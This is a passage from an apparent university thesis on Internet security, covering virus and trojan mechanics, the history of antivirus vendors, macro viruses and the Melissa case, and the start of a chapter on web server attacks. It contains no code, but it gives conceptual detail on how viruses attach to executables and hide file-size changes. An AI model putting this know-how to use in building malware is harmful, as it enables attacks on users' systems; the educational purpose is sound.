are described in a little more detail later in this chapter. A worm or a virus will typically have two main components: the replication mechanism and the payload. There are several types of well known replication techniques, e- mail being one of the favorites amongst virus and worm developers nowadays. The virus, once it lands in a new environment, will try and e-mail a copy of itself to as many recipients as possible. Usually this is done simply via exploiting the local address book. Earlier approaches included direct infection over networks, one of which is described in detail by Douglas McIlroy in his almost classic paper 131 . McIlroy shows how to program a simple but extremely devastating virus using simple Unix shell commands. The virus will automatically replicate itself over the local area network within seconds, and, if triggered, will erase all user data from the infected system. Before networks became widespread, floppies were the most common medium through which viruses moved from one machine to another. A number of replication techniques are investigated in detail in Ludwig’s book – “The Giant Black Book of Computer Viruses”132 . The second component of a virus is the payload, which may be activated by some sort of trigger such as a date, an external call from the Internet or some kind of system state. The payload may do one or more of the bad things listed below: • • • • • • Make selective or random changes to the user’s data Lock the network Steal system resources for some other networked process Steal or even publish personal data, such as personal crypto keys Create a backdoor through which the creator of the virus may take over the system later Record keystrokes to a remote file, thus stealing passwords and private data The most damaging payloads are usually those, which do their damage very slowly and imperceptibly. It may take month to notice such a virus being present inside a computer system, and by the time it is noticed it may be too late. It is, in many cases, even harder to notice 130 K. Thompson. “Reflections of Trusting Trust” M. D. McIlroy. “Virology 101” 132 M. Ludwig, The Giant Black Book of Computer Viruses, American Eagle Publishers, 1995 131 - 69 - Internet Security // Kulikov Alexey @ University of Warwick payloads, which do not cause any harm to the system, as they will only “wake up” when the system is idle and use free resources for a distributed Internet attack such as Denial of Service or cracking a long key. Typically a computer virus will have typical properties inherent to biological viruses: the virus will need some sort of host to attach itself to. It will “feed” of the host program in terms of computing resources allocated for that program’s execution. In case the host turns out to be a privileged process, the virus may very well target the system’s memory system, and thus replicate over all the files accessing the memory. On the other hand, the virus will replicate by making copies of itself in all the files accessed by the initial host. In case the host behaves as expected, the virus may remain unnoticed until it causes some damage to the system. A diagram illustrating the process of a viruses’ attachment pattern to some host program is shown below (fig. 5). It order to understand better, how a virus may “attach” itself to a host program, a diagram133 . Fig 6: How a virus attaches itself to an executable Attaching the virus code to text-based executable (such as Unix shell scripts) is trivial, just put the commands in the beginning or the end of the file 134 , however the obvious disadvantage is that the virus can be easily detected if anybody happens to view the code 135 . Thus a more common practice is to create viruses that attach themselves to binary executables. All the instructions native to the virus are attached to the end of the file, whereas the program starting address pointer 136 is changed for the one of the virus. Once the malicious code completes its set of instructions, the execution process will be returned to the beginning of the program. However, this process will change the file size, hence the virus may be easier to spot. Thus, Tom Duff explained 137 how to create a very dangerous Unix virus which did not alter file sizes. The basic idea behind his technique was that operating systems measure file sizes in terms of blocks, each block being, for example, a length of 1024 bytes. Thus almost every program will have some “free space” available to fill with malicious instructions, yet not altering the overall file size. Trojans The term trojan horse was introduced by James Anderson138 to characterize a particular security threat. Trojans can be looked at as the oldest form of malware. Back in the early sixties, 133 P. Verma, Virus Protection, Encyclopedia of Information Security (Kluwer, to be published), can be seen under: http://www.eecs.umich.edu/~pverma/pubs/virus.pdf 134 M. D. McIlroy. “Virology 101” 135 P. Verma, Virus Protection 136 Executable files contain a location called the starting address pointer which points to the first instruction to be executed and is needed by the operating system to load the binary. 137 T. Duff. “Experience with Viruses on Unix systems”, Computing Systems 138 J. P. Anderson. Computer Security Technology Planning Study. ESD-TR-73-51, Hanscom Field, Bedford, MA, October 1972 - 70 - Internet Security // Kulikov Alexey @ University of Warwick computers were slow and they were shared by groups of users, where every user was allocated a limited amount of computing resources. Typically students would be at the end of the queue, so, they wrote small games with a trojan inside, which looked whether the game was executed as a privileged user, and if so it created additional privileged system accounts with known passwords. 139 Later, in 1984, Ken Thompson discusses 140 the implications of a Trojan Horse within the C compiler of a computer. The first large emergence, however, of trojan activity occurred on AOL, where trojans that stole AOL access passwords began to be distributed. Indeed, there was even a press release 141 from the US-based National Computer Security Association (NCSA) 142 , appropriately titled: “NCSA and AOL warn of significant prevalence of AOL password trojan”, which warned users about this threat. This press release also listed the names and sizes of files, that were at the time known to be spread as other trojans on the AOL network. One can see that the trojan problem is nothing new. For as long as people have been assigning trust to others, people have been ready and willing to exploit it. As I have stated above, trojans have a long history. The problem with this, in my opinion, is that people tend to have fixed ideas about what a trojan can and cannot do – ideas that may no longer be valid in the evolving Internet community. The net provides new trojans with two vital abilities: the ability to become widespread in a matter of days; the ability for remote action triggers. Consider the trojan horse as compared to a virus. While a virus contains the ability to spread autonomously from one file to another, the trojan relies on a victim either being sent the file directly from an attacker or obtained the file from an innocent third party. Thus, a virus infection may be self-sustaining, whereas a trojan is likely to remain isolated. However, as computers became more and more networked, it has become increasingly easy to distribute a copy of a trojan to tens of thousands of machines within minutes. Furthermore, little resources are needed for further infection, as the Internet will aid the trojan in its automatic replication all over the world. While it is certainly true that the Internet has given anyone the ability to distribute malware to potentially millions of victims with one point and click operation, this effect is secondary to the following point: the Internet provides trojan horses (and viruses) with much more damaging triggers. For example, in The Risks Digest 143 , Fred Cohen wrote: I just got a look at a Word file (CALIG.DOC) that contains user IDs and passwords to pornographic sites. In addition to these pointers, it has a trojan horse that finds the user’s private PGP key ring and ftp’s it to: 209.201.88.110 (codebreakers.org). The standardization of the desktop platform, such that a single executable will run pretty much anywhere within the Microsoft product range is, in terms of security, a weakness. The compatibility makes communication and sharing of software much easier, on the other hand, one can write a trojan designed around a single API 144 that will have an almost limitless number of 139 R. J. Anderson. Security Engineering. Wiley Computer Publishing, 2001, p. 379 K. Thompson. “Reflections of Trusting Trust” 141 http://www.trendmicro.com/en/about/news/pr/archive/1997/pr062797.htm 142 NCSA (now TruSecure® Corporation) was founded in 1989 to provide independent and objective services to a rapidly growing and often confusing digital marketplace. NCSA is devoted to computer security issues in corporations, associations and government agencies worldwide. NCSA is dedicated to continuously improving commercial computer security through certification, sharing of knowledge and dissemination of information. http://www.ncsa.com/ 143 http://catless.ncl.ac.uk/Risks/20.19.html#subj3 144 Abbreviation of application program interface, a set of routines, protocols, and tools for building software applications. A good API makes it easier to develop a program by providing all the building blocks. A programmer puts the blocks together. Most operating environments, such as MS-Windows, provide an API so that programmers can write applications consistent with the operating environment. Although APIs are designed for programmers, 140 - 71 - Internet Security // Kulikov Alexey @ University of Warwick potential hosts. The result is that a trojan does not have to concern itself with isolated damage, it can now go about allowing intruders into the network. The ability for trojans to essentially compromise the security of a network is a very dangerous one. While AOL Trojans simply obtained an account password and send it back to a predetermined e- mail address, more complex Trojans could simply and easily provide a way into a network for a hacker. Anti-virus Software What is anti-virus software? Better, what does one expect anti- virus software to do? Initially one would imagine anti- virus software being able to stop viruses. However, this is not possible due to a number of reasons 145 . Firstly, one wants an anti- viral tool to be transparent, that is it has to work in the background making sure that no malware lands on a protected computer, but then it is impossible to control the process. Moreover, such a process will need a lot or resources. Secondly, one wants anti-viral tools to detect not only known, but also unknown viruses. Thanks to Cohen’s research146 this is now possible in a number of cases such as executable files unexpectedly changing their size, or ‘vaccinating’ programs, so that the virus thinks that the file is already infected. These methods have important drawbacks, as not all viruses check if their targets were already infected, moreover there is a known technique 147 for creating viruses that do not alter file sizes. Fred Cohen leads a very thorough discussion in his 1991 paper 148 , where he looks at various virus prevention methodologies, including not only software, but also hardware modification strategies. In his research, he concludes that our inability to predict systematic behavior in complex systems is the main obstacle in developing an effective virus prevention mechanism. Even though the computer virus problem was first publicly described only in 1984 149 and has caused little interest from academics, the first anti-virus company – Symantec 150 , was founded already in early 1982. At that time, the company was mainly focusing on delivering consultancy services for building secure networks. However, as first malicious viruses were seen in the wild in the beginning of 1987 151 , Symantec has released its first “virus scanner”, which would search through all local executable files looking for specific code patterns that may represent a virus. Assuming that the user of the anti- viral scanner updates his/her list of known viruses on a daily basis, then his system is quite secure, as long as it is not one of the first systems under attack from some new form of malware. Nonetheless, this approach was rather ineffective as victims of new viruses had no central authority to report the incidents to. Therefore many viruses had a good chance to spread, before a single copy could be isolated by Symantec and an anti- viral mechanism could be developed. This situation has changed with the introduction of the Computer Emergency Response Team152 (CERT) in November 1988 after the Morris worm incident 153 . New incid ents were immediately reported to CERT, which, in turn notified all the interested parties of the potential problem. they are ultimately good for users because they guarantee that all programs using a common API will have similar interfaces. This makes it easier for users to learn new programs. 145 D. Harley, R. Slade, U. E. Gattiker, Viruses Revealed, McGraw Hill, 2001, pp 140-142 F. Cohen. Trends in Computer Virus Research 147 T. Duff. “Experience with Viruses on Unix systems”, Computing Systems 148 F. Cohen. Trends in Computer Virus Research 149 F. Cohen. “Computer Viruses: Theory and Experiments” 150 http://www.symantec.com/corporate/ 151 F. Cohen. Trends in Computer Virus Research, p 1 152 The CERT Coordination Center (CERT/CC) is located at the Software Engineering Institute (SEI), a federally funded research and development center at Carnegie Mellon University in Pittsburgh, Pennsylvania. Following the Morris worm incident, which brought 10 percent of Internet systems to a halt in November 1988, the Defense Advanced Research Projects Agency (DARPA) charged the SEI with setting up a center to coordinate communication among experts during security emergencies and to help prevent future incidents. 153 http://www.cert.org/meet_cert/meetcertcc.html 146 - 72 - Internet Security // Kulikov Alexey @ University of Warwick The establishment of a central authoritative figure to help deal with popping up security problems spawned a whole new set of anti- virus developers, many of which are still in business today. For example, NCSA (now TruSecure Corporation), founded in 1989, aided the foundation of the Anti-Virus Product Developers Consortium in July 1991. It is also responsible for the introduction of the “National Computer Virus Awareness Day” which the Clinton administration enthusiastically supported 154 . Another blooming company of the 21st century, McAfee Security, was founded back in 1989, primarily focusing on the development of anti- viral tools. Moreover, McAfee has established its own anti-virus research organization, McAfee AVERT, which protects McAfee customers against the latest and most complex virus attacks 155 . One of the other, still known and prosperous anti- viral pioneers was formed in 1989 in Russia - Kaspersky Labs 156 . This company has had a very interesting evolution path, as it was little known outside of Russia until 1997, when its centre of activity shifted to the USA. Presently Kaspersky Labs is a group of companies with offices in Moscow, Cambridge (England) and Pleasanton (California, U.S.A) and a well-developed partner network actively working in the Russian and international markets. Recent History – Macro Viruses By the late 80s and the early 90s PC viruses had become such a problem that the y led to a new market for antivirus software writers and consultants. Once antivirus companies have appeared, they have tried to outwit virus writers, thinking of methods, which could be employed to protect files from infection. Virus writing, on the other hand, has evolved into a science of its own. Malware used numerous techniques such as polymorphism157 and stealth158 to hide itself from the user and antiviral tools. The constant evolution of technology and the Internet gave fertile ground for new viruses. However, many people though that this wouldn’t last, as the move from DOS towards a proper operating system like windows would spell an end, or at least decrease the viral problem. Some of the antivirus pioneers even sold their companies159 . While Windows initially made the job of writing malware harder, even DOS viruses have not lost their functionality, as the main ideology behind Microsoft products was always backward compatibility. Customers simply demand it. Programming for any of the Windows platform is significantly harder than programming for DOS. For that reason, and the greater hardware requirements, the first Windows viruses didn’t appear for years after the popular acceptance of Microsoft’s new operating system. Initially, some believed Windows had defeated computer viruses, but that wasn’t the case. In fact, with the release of Windows 95 alongside with the popular Office 95, Microsoft gave birth to a whole new breed of malware – macro viruses, which in May 2000, according to Jan Hruska at Sophos160 , accounted for 88% of all infections 161 . A macro is a series of steps, that could be performed by hand in some application such as MS Word, but they are stored in a command file so they can be automated. For example, one could write a macro to close all open documents in MS Word. Initially macros were developed to 154 http://www.ncsa.com/company/milestones/ http://us.mcafee.com/root/aboutUs.asp 156 http://www.kaspersky.com/about.html?chapter=596128 157 Polymorphism is virus encryption done better. Some bright virus writers decided that the only way to defeat antivirus companies was by randomly changing the encryption/decryption portion of a virus. How can antivirus scanners find a signature when everything, including the encrypting subroutine, randomly changed? Potentially, there are billions of combinations that scanners would have to try against each host file. 158 Viruses that contain special coding to elude antivirus researchers and tools are considered stealth viruses. One of the most common routines is for a virus to remove itself from a file when a virus scanner is being run. 159 A. Solomon, “A Brief History of Computer Viruses”, Computer Fraud and Security Bulletin, Dec 1993, pp 9-19 160 http://www.sophos.com/ 161 Jan Hruska, “Is the Virus Problem getting worse?”, Network Security, Volume 2001, Issue 2, 1 February 2001, Pages 13-16 155 - 73 - Internet Security // Kulikov Alexey @ University of Warwick speed up common actions, however, they have evolved into a very powerful programming environment of their own. Nowadays, some software programs are nothing but thousands of macros built around a vendor’s application. For example, all of the available “Plug-Ins” for MS Outlook are no more than a set of very elegant macros. In fact, allowing Outlook to use the macro functionality of MS Office made it an ideal replication mechanism for malware. A definite advantage of macro viruses as opposed to classic virus is the fact, that users rarely trade applications, but very often they will exchange data- files. In fact, usual attachments in corporate mail are MS Office documents, and since Office 95 they can all carry viruses. Macro Viruses took over as the main source of infection in the United States in 1996, and in other countries shortly after 162 . Interestingly enough, security analysts have predicted a splash of macro-virus popularity, already in 1996 Charles Babcock wrote an interesting article 163 in Computerworld where he discussed the large potential of macros being embedded within data files. Moreover, he pointed out the immense speed with which macro viruses gained popularity compared to classical “parasite” viruses: “It normally takes three to four years for a virus to climb in to the top 10. Word Concept [Macro] did it in six months.” There is a good discussion on macro viruses in V. Bontchev’s paper164 , which also points out that stopping them is harder than was the case for DOS viruses, as the Microsoft programming environment is now much less open, less well documented, and complex. In another paper 165 , published in early 1998 Bontchev points out that it is a very hard, if not impossible task for anti- virus vendors to produce a feasible toolkit to stop macro viruses, as simple file scanners may produce a lot of false negatives. Antivirus vendors knew since 1989 that macro viruses were possible 166 and it is rather interesting that they did not take off with Lotus 1-2-3 or WordPerfect in the early nineties, as these programs have had excellent support for built- in scripts. Perhaps because these applications did not have a very large market share. Yet, Microsoft Word seemed to be the right application for virus developers, with the first malicious macros appearing in 1995 167 . By the end of 1996, Microsoft Office macro viruses have infected Windows computers all over the world. One does not need a lot of programming skills or technological know-how to create dangerous macro viruses. All one needs is a language that can manipulate itself and other files. Malware creators like macro languages because they are easy to use and are potentially very powerful. Most macro writers learned to write their first code in hours. Macro languages are written to be easy, so the end-developer does not have to worry about all the high- tech stuff and get straight the point – do some damage. Moreover, macros as opposed to other types of malware, are platform independent, as all the system specific porting is done by the application that is executing the script. Hence any system capable of running Microsoft Office is under potential threat. Why Windows? There were certainly quite a few virus incidents, which the media has focused its attention on168 . However, most of the cases investigated were linked with the Windows operating system. Therefore, an interesting question arises: why did so many viruses hit the Microsoft platform as opposed to Unix, even though first experiments with malware were carried out under Unix? According to Spylog169 , an independent statistical service provider in eastern and western Europe, on average 95% of all Internet surfers are using Microsoft Windows as their operating 162 D. Aubrey-Jones, “Internet – Virusnet?”, Networking Security, Feb 1997, pp 15-19 Charles Babcock, “Beware of a macro virus epidemic”, Computerworld, July 18, 1996, p. 122 164 V. Bontchev, “Possible Macro Virus Attacks and How to Prevent Them”, Computers and Security, v 15 no 7, 1996, pp 595-626. 165 V. Bontchev, “Macro Virus Identification Problems”, Computers and Security, v 17 no 1, 1998, pp. 69-89 166 Harold Highland, “A Macro Virus”, Computers and Security, v 8, 1989, pp. 178-188 167 Paul Robinson, “Word is out on virus that attacks macros”, Computer Weekly, 31 August 1995, p. 10 168 Melissa, I LOVE YOU, and recently My.Doom 169 Spylog Global Research, http://gs.spylog.com/ 163 - 74 - Internet Security // Kulikov Alexey @ University of Warwick system. Hence, producing malware, that has the potential to affect 95% of the Internet is a reasonable objective. Moreover, Windows is a monoculture, meaning that applications written for this operating system will work on any PC and produce expected output, whereas there are different flavors of Unix, each with its own specific set of commands. Add to that, the everyday evolving linux world. Currently there are slightly over a hundred official linux platforms 170 , for which programs have to be specifically compiled for. Besides that, Windows and MacOS are the only platforms capable of running Microsoft Office, which has become de facto standard for word processing and spreadsheet production. In fact, this makes the situation even worse, since MS Office is an ideal host for macro viruses, which are the prevalent form of malware today. Furthermore, all windows platforms are backward compatible, they are even capable of executing programs written over a decade ago for the DOS operating system. This leaves a chance for infection by any of the older classic viruses. Whereas under Unix, most if not all programs have to be compiled from scratch after every update of the kernel, making current binaries completely obsolete. The human factor also plays an important role, as an average windows user will not be savvy in IT171 , therefore being open for social engineering attacks. While it takes skill to be a productive Unix user. As a result of all the factors listed above, windows platforms are common malware targets. The ease of use was implemented sacrificing security, yet it gave windows immense popularity on the global IT market. Still, Unix has its own weaknesses, such as programs being able to talk to each other in the background without any feedback to the user. Yet making up only 5% of the total home Operating System population, Unix is not a common target for malware developers. Conclusion Viruses, worms and trojan horses are all security concerns for users of personal computers. This chapter discussed several of these at length. Most of the malware we have heard of in the media was, in fact, developed out of curiosity and tailored to hit as big population as possible. However, the real threat comes from malware targeted on a specific organization or even a specific host on the network. These kind of attacks canno t be stopped with the aid of an antivirus program or by following a security bulletin, instead a preventive strategy has to be developed. Diversity of software is the safest way to protect from the virus of the day. In the cryptographic community, it is important to use well-known, proven protocols and algorithms with off- the-shelf implementation. The same does not always hold for system software. In the latter case, using a self- made proprietary implementation is sometimes the safest way to go. Moreover, preventing client side attacks takes end-user awareness. The nature of things that users need to be trained to do, or not to do, will change over time as systems and threats evolve. For example, in the early nineties, the main tasks were to stop infections coming from home PCs via floppy disks. Now the issues are more diffuse, such as training people not to open e- mail attachments unless the sender has verified actually sending an e- mail with an attachment in it, or having procedures to deal with infected backups. However, one cannot be 100% secure against 170 http://directory.google.com/Top/Computers/Software/Operating_Systems/Linux/Platforms/ The Windows Operating System is a common OS for home use (and it has been positioned and developed to be an excellent tool for home use). It is easy to install and inexperienced users can get hold of most computer functionality within a few days. Yet it does not provide any background knowledge to its users as to how Operating Systems work and does not offer a lot of information about its internal processes. A whole population of Internet users has1 been raised on Windows based machines without knowledge of how the system works overall. Moreover, this population has been pushed to use Internet Explorer as a default browser shipped with windows, and the popularity of this platform just proves the fact, that on average almost every Windows user will do whatever the system tells him/her to do. Yet the analysis of the rise of popularity of IE is out of the scope of this thesis, however, it is a good indication of the number of www users browsing the set under MS technology. The Windows OS has been built in order for work to be done as fast as possible, therefore corporate user’s knowledge of IT usually ends with the know-how of MS Office and Windows. 171 - 75 - Internet Security // Kulikov Alexey @ University of Warwick malware, yet a well-developed preventive strategy can keep most of incoming attacks out of the system. Chapter Summary • • • • • • • • • • • • • Computer Security experts have long been aware of the threat from malicious code, or malware, the term itself goes back many years. Malware is a common reference term for viruses, trojans and worms. A virus is a program, which a lot like biological viruses, hides itself in files of other programs. When the host program is run, the virus is also executed, it then looks for other files that are not infected on the system and copies itself into them. A trojan is a program that appears to be doing something interesting or useful. However, while the innocent looking program is running, it is actually doing something malicious in the background. A worm is a program that copies itself over networks without explicit interaction of the user. One of the very earliest examples of a computer network was implemented by Xerox PARC (Palo Alto Research Cent er). John Shoch and Jon Hupp, two researchers there at the time, were interested in the concept of distributed processing. The primary intention was to write programs that would be aimed at solving problems normally submitted to a supercomputer. By breaking the problem up into small chunks and submitting each chuck to a separate machine on the network, one would, in effect, have a large program consisting of smaller program segments working on individual machines. Since biological worms are defined by the fact that they have segmented bodies, they have called this new type of program a “worm”. Their research was not a success, since one night a programming error caused the computers to which it was submitted to hang. The program is known as the “Xerox worm” and is the first documented example of a computer worm. A lot of techniques used by viruses and worms nowadays already existed in the beginning of the eighties. The first officially presented computer virus was created by Len Adleman on November 3rd, 1983 Fred Cohen is a pioneer in malicious code research. He researched computer viruses and various protection mechanisms and his work is used as ground stones in anti- viral industry today. The term trojan horse was introduced by James Anderson to characterize a particular security threat. Trojans can be looked at as the oldest form of malware. Back in the early sixties, computers were slow and they were shared by groups of users, where every user was allocated a limited amount of computing resources. Typically students would be at the end of the queue, so, they wrote small games with a trojan inside, which looked whether the game was executed as a privileged user, and if so it created additional privileged system accounts with known passwords. A virus contains the ability to spread autonomously from one file to another, the trojan relies on a victim either being sent the file directly from an attacker or obtained the file from an innocent third party. Even though the computer virus problem was first publicly described only in 1984 and has caused little interest from academics, the first anti- virus company – Symantec, was founded already in early 1982. Yet even nowadays there exists no 100% fail-safe antiviral mechanism. A more recent breed of computer viruses are macro viruses. They, compared to traditional forms of computer viruses, are stored as script inside documents. Documents - 76 - Internet Security // Kulikov Alexey @ University of Warwick • • • circulate the Internet much more frequently than executable files, thus the rate of infection is exponential. Most of computer malware in Windows orientated as it is the most widespread OS in the world. Worst form of malware is malware custom tailored for an attack at a specific host. These are virtually impossible to stop. One cannot be 100% secure against malware, yet a well-developed preventive strategy can keep most of incoming attacks out of the system. - 77 - Internet Security // Kulikov Alexey @ University of Warwick Appendix A – Melissa The Melissa virus, a Microsoft Word macro spread over the Internet in early 1999 and caused the first big media splash about a computer virus since the Morris Worm. There was coverage in almost every newspaper, radio station or TV channel. It is hard to estimate the damage done by Melissa, as it did not actually do anything malicious except make copies of itself. However, the mere fact, that the immense spread of the virus caused a lot of additional Internet traffic can be perceived as a Denial Of Service attack (see next chapter). Yet, the virus demonstrated the power of macro languages and the ease with which macro based malware could propagate through the Internet. Had the original developer David Smith intended to do any damage to the infected systems such as erasing data, then the virus could have been a real disaster. CERT Coordination Center states 172 that it started receiving first reports of the Melissa virus at around 2:00 PM GMT on Friday March 26, 1999. The virus was written in only 107 lines of Visual Basic, which were embedded into a Microsoft Word document in form of a macro. The document itself was sent via e-mail in form of an attachment. Once the recipient opened the document, the macro was launched. The first thing it did was to launch Outlook Express and try and mail a copy of itself to the first 50 entries in the address book. The transport message has most frequently been reported to contain the following Subject header: “Subject: Important Message From <name>”, – where <name> was the full name of the user sending the message. The body of the message was a multipart message containing two sections. The first section of the message contained the following text: “Here is that document you asked for ... don't show anyone else ;-)”, – the next section was initially reported to be a document called “list.doc”. This document contained references to pornographic Web sites, which is rather logical as the first known appearance of the Melissa virus was on the newsgroup alt.sex. Parties interested in the evolution of the Melissa virus and all the information linked with this case can consult http://www.melissavirus.com/ for a comprehensive list of resources. Melissa was very effective because people received e- mail messages from someone they knew and therefore assumed the attached document to be safe. Moreover, the messages were more or less personalized, which resulted in additional trust to the attached file. After all, who could even imagine a word document being of any harm? Another contributing factor was the fact that a lot of people used Microsoft Word not as a stand-alone application, but as part of the Office package, alongside with Outlook Express. Users who read mail with Netscape Messenger, Pine or Eudora were completely immune to Melissa. So were Unix and Emacs users. Finally it should be noted that Microsoft made a mistake by bundling Office applications together with Outlook. Why did Word have enough privileges to construct and send e- mail? Overall, the Windows environment leaves space for a lot of imagination in case someone is willing to compromise the system. The primary lesson learned from Melissa, is that as with any other aspect of Internet Security, the foundation always relies on implicit trust. Whereas the trust element is often, if not always, is controlled by a human being. 172 http://www.cert.org/advisories/CA-1999-04.html - 78 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 6 - 79 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 6 — Attacking the Web Server With the increasing use of the Internet as a commercial channel, there are a growing number of Websites deployed to share information, offer online services, sell all sorts of goods, distribute news, articles, et cetera. On the other hand, the number of attacks is increasing in parallel: theft of private information, defacing of homepages, denial-of-service, worm spreading, and fraud, are a few of the most common attacks on the Internet. In the previous five chapters I have focused on various attack channels open to hackers: the operating system of the computer connected to the Internet, the data transportation channels, the client applications and the people operating the whole system. Web Server 173 software, however, is presumed to be quite secure, as it is the main driving force behind what we perceive as the Internet today. Yet this feeling of security is in many cases misleading, as Web Servers, just as any of the previously discussed weaknesses of Internet systems, can be misused by hackers. Web attacks, i.e. attacks exclusively using the HTTP 174 protocol, are rapidly becoming one of the fundamental threats for information systems connected to the Internet. When the attacks suffered by Web Servers over the last decade are analyzed, it is observed that most of them are very similar, using a reduced number of attacking techniques. In an effort to create a common reference language for computer security analysis, a number of taxonomies of computer attacks have appeared in recent years175 . Yet, these taxonomies are rather complex and presume the reader to be technically savvy in the subject. However, by far not every user is able to understand the concepts outlined in these taxonomies without a set of prerequisite concepts, which I am aiming to provide. This chapter is a short study of Web Server software and the most common attack techniques employed by hackers over the past decade in order to commit some kind of malicious act. The first part of the chapter is a short investigation into the technical side of Web Servers and server side software applications, where various weak points are outlined and discussed in further detail. The second part of the chapter focuses mainly on Denial of Service attacks, which, ironically, have little to do with the actual Web Server and its security implementations, however, they are aimed at making the Web Server unavailable to the Internet population for a limited period of time, thus slowing down or completely disabling public services operated by that server. A set of common defense techniques are summarized in the final part of this paper. I hope that the basic concepts of Web Server operation and its most common weak points will be absolutely clear to the average Internet user after reading this chapter. 173 A computer that delivers (serves up) Web pages. Every Web Server has an IP address and possibly a domain name. For example, if you enter the URL http://www.warwick.ac.uk/ in your browser, this sends a request to the computer whose domain name is warwick.ac.uk. The Web Server software on that computer then fetches the default index page and sends it to your browser. Any computer can be turned into a Web Server by installing server software and connecting the machine to the Internet. There are many Web Server software applications, including public domain software from NCSA and Apache, and commercial packages from Microsoft, Netscape and others. A good resource to track the development of various Web Server software packages is http://www.serverwatch.com/ 174 Short for HyperText Transfer Protocol, the underlying protocol used by the World Wide Web. HTTP defines how messages are formatted and transmitted, and what actions Web Servers and browsers should take in response to various commands. For example, when you enter a URL in your browser, this actually sends an HTTP command to the Web Server directing it to fetch and transmit the requested Web page. The other main standard that controls how the World Wide Web works is HTML, which covers how Web pages are formatted and displayed. HTTP is called a stateless protocol because each command is executed independently, without any knowledge of the commands that came before it. This is the main reason that it is difficult to implement Web sites that react intelligently to user input. This shortcoming of HTTP is being addressed in a number of technologies, including Java, JavaScript and cookies. 175 Such as Cohen F., “Information System Attacks: A preliminary classification scheme”, Computers & Security, Vol. 16, 1997, pp. 29-46, or Alvarez G., Petrovic S., “A new taxonomy of Web attacks”, Computers & Security, Vol. 22, 2003, pp. 435-449 - 80 - Internet Security // Kulikov Alexey @ University of Warwick Web Servers Installing a Web Server is really simple: download the software, adjust a few settings and in a matter of minutes a welcome page will be on the screen. Although the mechanics of this operation are rather straightforward, the implications are profound. In case the server is connected to the Internet, it is automatically exposed to the whole world. Unfortunately, this increased visibility can have some unwanted side effects. Some attackers may attempt to avoid the server’s access restrictions in order to view confidential documents that are intended for internal use only. Others may attempt to “Webjack” the Website and modify its content either for fun or to deliberately embarrass the owner of the site. Webjackings are not uncommon. Sites that have been vandalized in the past include U.S. Department of Justice, CIA, NASA, British Labor Party, Telia, Yahoo.com, Amazon.com and many others. Although the immediate damage was often noticed and repaired in a matter of hours, the effects of Web-site vandalism remain. In each of the cases thousands of Web surfers noticed the vandalism before the site’s administrators got their hands on fixing the problem. One can still witness what the CIA’a site looked like just after they were vandalized (see http://www.onething.com/archive/ for examples). For some organizations site vandalism may merely be embarrassing, for others, such as financial institutions, the public knowledge of break-in may permanently damage their reputation. Website vandalism is, of course, just the tip of the iceberg. A much worse threat is if someone who breaks into the Web Server will use it as a channel to misuse other machines on the local area network. In this case, the Web Server provided a portal of entry to confidential information stored on file servers, databases and accounting systems. Basics of Web Server Operation In order to shed some light on various weak points of Web Server software, Web applications and common approaches in exploiting these, it is important to give a short overview of how Web Servers operate and serve HTML pages to Web browsers. When one types in a URL like www.warwick.ac.uk into a Web browser, a message that says ‘Connecting to site www.warwick.ac.uk’ is displayed for a few seconds before the HTML is delivered. This seems pretty simple, but what happens in the background can be quite complex. A Web Server works on the client/server principle and provides a specific service of giving out Web pages to clients called Web browsers. So for a Website like www. warwick.ac.uk, a Web Server would run on a machine, which will have a unique IP address and will be directly connected to the Internet. Once started, the Web Server listens for any connection request. Each time a connection is requested by a Web browser, the Web Server serves the Web browser with content. The Web Server then continues to listen to subsequent requests from other Web browsers. After a connection is established, the browser issues an HTTP request in simple text, namely GET, POST, HEAD or PUT, to the Web Server. The GET method is used to request a Web page (or any file the Web Server can deliver like audio or video). The POST method is used when the browser needs to send some data to the server, such as a filled out form. The PUT method is used by the Web browser to upload data to a location (directory) on the Web Server as specified by the URL, such as a file. Whereas the HEAD method will be employed to pass content specific commands to the Web Server, such as document encoding information and acceptable languages. So, in practice the Web Server does nothing more than send copie s of local files to Web browsers, or store data received from Web browsers either in a database or in the local file system. There is one more dimension to Web Servers – Dynamic Content. At www.google.com, if one types in the search keywords “Internet Security” and presses the “search” button, the browser displays a Web page with the results of the search. Next, if one searches for “university of warwick”, the browser again displays results, which are very different from the former. This kind of dynamic content is delivered to the browser by the Web Server either by using Common - 81 - Internet Security // Kulikov Alexey @ University of Warwick Gateway Interface (CGI) scripts or by invoking built- in “in-process” parser modules 176 . A CGI script is usually invoked by the GET or POST method. When the Web Server receives a URL to a CGI script, it hands over the execution of the script to an external parser, like Perl, C, PHP or Tomcat JSP engine, along with any parameters supplied. The parser processes the script and delivers the result, usually as a new HTML page, to the Web Server, which is in turn delivered to the Web browser. CGI makes Web-surfing a Web-site a very dynamic process, allowing every user to see a tailored version of the Web page. The applications of CGI are immense, starting from simple “hacks” such as generation of random content or links, and ending with complex ecommerce platforms, such as one behind amazon.com. Common Web Server Weaknesses The problems that open up security holes in Web Servers are various, but most of them spring up from either server misconfiguration, bugs in Web applications or denial of service attacks. Server Misconfiguration All Web Server software, regardless of platform or manufacturer, unintentionally hides a number of vulnerabilities, which allow the application to be used in a different way than originally intended. Misconfiguration of software was a common problem even before Web Servers. There are good accounts of common mistakes in Clifford Stoll’s book “The Cuckoo's Egg” and in Chapter two if this thesis. Whenever the platform and the Web Server are not correctly configured vulnerabilities can occur. Moreover, there are Web Servers, whose default configuration exposes a number of known directories, sample applications, user accounts, et cetera. When vendors ship a shrink-wrapped system, their primary goal is not to make the system secure but easy to install and use. As a result, most of the systems ship in their most permissive mode: popular network services are turned on by default, remote configuration facilities are enabled and the policy for accessing the file system is very liberal177 . A widespread problem is misconfigured file permissions. Multi- user operating systems such as UNIX and Windows NT, use account privileges as their fundamental security mechanism. Each registered user has a different login account. Each account is associated with a different set of privileges, granting or denying it the ability to read and write certain files, open network connections and access network devices. This mechanism gives trusted users, such as system administrators, the ability to set permissions for other users of the system. The Web Server running under some operating systems will be executed with a set of privileges of a local system user. A common mistake made in the past, is the wide set of privileges granted to that user, therefore granting these privileges to each and every surfer of the Internet. Some sites have even made the mistake of running the Web Server under an administrative account, effectively giving the Web Server limitless power over the system it resided on. Bugs in Web Applications Many system intrusions talked about in the media were based on a simple strategy where the attacker sent data to a program that the program couldn’t handle. The legendary Morris Worm178 176 For example, PHP (http://www.php.net/) can be run as both, a CGI executable, or as a Web Server module. As a CGI executable it can be perceived as a stand-alone program, which parses the data passed to it my the Web Server “out-of-process” of the actual 